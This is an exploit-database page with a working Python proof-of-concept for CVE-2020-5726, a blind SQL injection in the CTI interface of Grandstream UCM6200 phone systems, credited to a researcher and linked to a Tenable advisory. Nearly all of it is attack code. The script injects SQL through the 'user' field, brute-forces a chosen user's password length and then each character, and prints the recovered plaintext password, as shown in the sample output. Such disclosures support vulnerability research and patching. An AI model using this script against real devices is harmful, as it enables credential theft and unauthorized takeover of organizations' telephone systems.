Share
## https://sploitus.com/exploit?id=PACKETSTORM:156977
# Exploit Title: Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection  
# Date: 2020-03-30  
# Exploit Author: Jacob Baines  
# Vendor Homepage: http://www.grandstream.com/  
# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware  
# Version: 1.0.20.20 and below  
# Tested on: Grandstream UCM6202 1.0.20.20  
# CVE : CVE-2020-5726  
# Grandstream UCM6200 Series CTI Interface SQL Injection Password Disclosure  
# Advisory: https://www.tenable.com/security/research/tra-2020-17  
# Sample output:  
#  
# albinolobster@ubuntu:~$ python3 cti_injection.py --rhost 192.168.2.1  
--user lolwat  
# [+] Reaching out to 192.168.2.1:8888  
# [+] Password length 9  
# [+] The password is LabPass1%  
  
import sys  
import time  
import json  
import struct  
import socket  
import argparse  
  
def send_cti_with_length(sock, payload):  
to_send = struct.pack('>I', len(payload))  
to_send = to_send + payload  
sock.sendall(to_send)  
  
return recv_cti_with_length(sock)  
  
def recv_cti_with_length(sock):  
length = sock.recv(4)  
length = struct.unpack('>I', length)[0]  
response = sock.recv(length)  
return response  
  
top_parser = argparse.ArgumentParser(description='')  
top_parser.add_argument('--rhost', action="store", dest="rhost",  
required=True, help="The remote host to connect to")  
top_parser.add_argument('--rport', action="store", dest="rport", type=int,  
help="The remote port to connect to", default=8888)  
top_parser.add_argument('--user', action="store", dest="user",  
required=True, help="The user to brute force")  
args = top_parser.parse_args()  
  
  
print('[+] Reaching out to ' + args.rhost + ':' + str(args.rport))  
  
length = 0  
while length < 100:  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((args.rhost, args.rport))  
  
challenge_resp = send_cti_with_length(sock, b"action=challenge&user=" +  
args.user.encode('utf-8') + b"' AND LENGTH(user_password)=" +  
str(length).encode('utf-8') + b"--")  
inject_result = json.loads(challenge_resp)  
  
if (inject_result['status'] == 0):  
break  
else:  
length = length + 1  
  
sock.close()  
  
if length == 100:  
print('[-] Failed to discover the password length')  
sys.exit(1)  
  
print('[+] Password length', length)  
  
password = ''  
while len(password) < length:  
value = 0x20  
while value < 0x80:  
  
if value == 0x22 or value == 0x5c:  
temp_pass = password + '\\'  
temp_pass = temp_pass + chr(value)  
else:  
temp_pass = password + chr(value)  
  
temp_pass_len = len(temp_pass)  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((args.rhost, args.rport))  
  
challenge_resp = send_cti_with_length(sock,  
b"action=challenge&user=" + args.user.encode('utf-8') + b"' AND  
user_password LIKE \'" + temp_pass.encode('utf-8') + b"%' AND  
substr(user_password,1," + str(temp_pass_len).encode('utf-8') + b") = '" +  
temp_pass.encode('utf-8') + b"'--")  
inject_result = json.loads(challenge_resp)  
  
sock.close()  
  
if (inject_result['status'] == 0):  
password = temp_pass  
break  
else:  
value = value + 1  
continue  
  
if value == 0x80:  
print('oh no.')  
sys.exit(0)  
  
print('[+] The password is', password)